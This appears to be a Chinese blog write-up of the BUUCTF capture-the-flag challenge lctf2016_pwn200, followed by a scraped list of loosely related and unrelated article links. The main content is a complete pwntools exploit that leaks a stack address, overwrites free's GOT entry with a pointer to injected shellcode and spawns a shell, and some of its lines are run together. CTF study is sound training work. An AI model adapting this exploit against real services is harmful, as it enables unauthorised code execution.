[BUUCTF-pwn]——lctf2016_pwn200
[BUUCTF-pwn]——lctf2016_pwn200
- 题目地址:https://buuoj.cn/challenges#lctf2016_pwn200
还是先chekcsec 一下, 没有开启NX代表我们可以手写shellcode并且执行
在IDA, 中大家自己看看就好,我这里将两个漏洞的位置告诉大家就好
寻找偏移
思路
利用漏洞1, 获得main_ebp地址, 寻找到我们写入的shellcode距离的位置
利用漏洞2 覆盖dest变量值为free的got表的地址, 这样通过strcpy(dest, &buf);free的got表指向的就是我们的shellcode了
exploit
from pwn import *
context.arch = 'amd64' #保证shellcode 正确
context.log_level = 'debug'
p = process('./pwn200')
#p = remote('node3.buuoj.cn',26607)
elf = ELF('./pwn200')
free_got = elf.got["free"]
#gdb.attach(p)
shellcode = asm(shellcraft.sh())
p.sendafter('u?\n',shellcode+"a"*(48-len(shellcode)))ebp = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("ebp --->> "+hex(ebp))
offset = -0x50
shellcode_addr = ebp + offset
log.success("shellcode_addr --->> " + hex(shellcode_addr))
p.sendline('0') p.recvuntil('\n')payload = p64(shellcode_addr)
p.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got)) # 绕过检查
p.recvuntil('choice :')
p.sendline('2')
p.interactive()
[BUUCTF-pwn]——lctf2016_pwn200相关推荐
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...
- Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...
最新文章
- 如何在用户控件中操作页面中的控件?
- Boost:移动容器的测试程序
- HTML DOM教程 22-HTML DOM Form 对象
- H.265在QRTC场景的落地运用
- h5jumppage.php,h5使用webviewjsbridge跟原生交互,点击标签调用2次webview
- HTML5中lineCap端点样式遇到closePath()
- import java.util_importjava.util.*;classKeyMaster{publi..._考试资料网
- 用python画的基本知识_Opencv-python画图基础知识
- 3.1.1 计算机网络之数据链路的基本概念和功能概述(转载)
- 关于图的题目不给数据范围的情况如何解决
- ARP协议-路由交换原理5-【HCNA笔记】
- RS485协议详解RS485与RS232优缺点比较
- 如何解决Python中的RuntimeWarning: invalid value encountered in double_scalars问题
- 前端SPA(single page web application单页面应用not水疗)
- 欧氏空间距离和内积_欧氏空间的内积与线性变换
- 【网络互联技术】(三) 网络互联基础。
- 修改Cisco交换机ntp服务器,如何配置Brocade和Cisco光纤交换机的NTP服务器
- 计算机科学期刊论文格式,计算机科学期刊投稿论文模板
- word如何优雅的保存代码
- 关于Vue ssr的一点探讨
热门文章
- switch 根据键盘录入成绩 显示分数及判断等级(第一次)
- [安全攻防进阶篇] 一.什么是逆向分析、逆向分析应用及经典扫雷游戏逆向
- iOS之深入解析保证线程安全的“锁”的使用和性能分析
- 【数据结构与算法】之深入解析“最长公共前缀”的求解思路与算法示例
- iOS之深入解析内存分配的五大区
- LeetCode Algorithm 811. 子域名访问计数
- LeetCode Algorithm 389. 找不同
- 树莓派AI视觉云台——8、WiringPi库函数
- 【Qt】 Qt中实时更新UI程序示例
- 计算机组成原理简单选择题,计算机组成原理选择题及答案.doc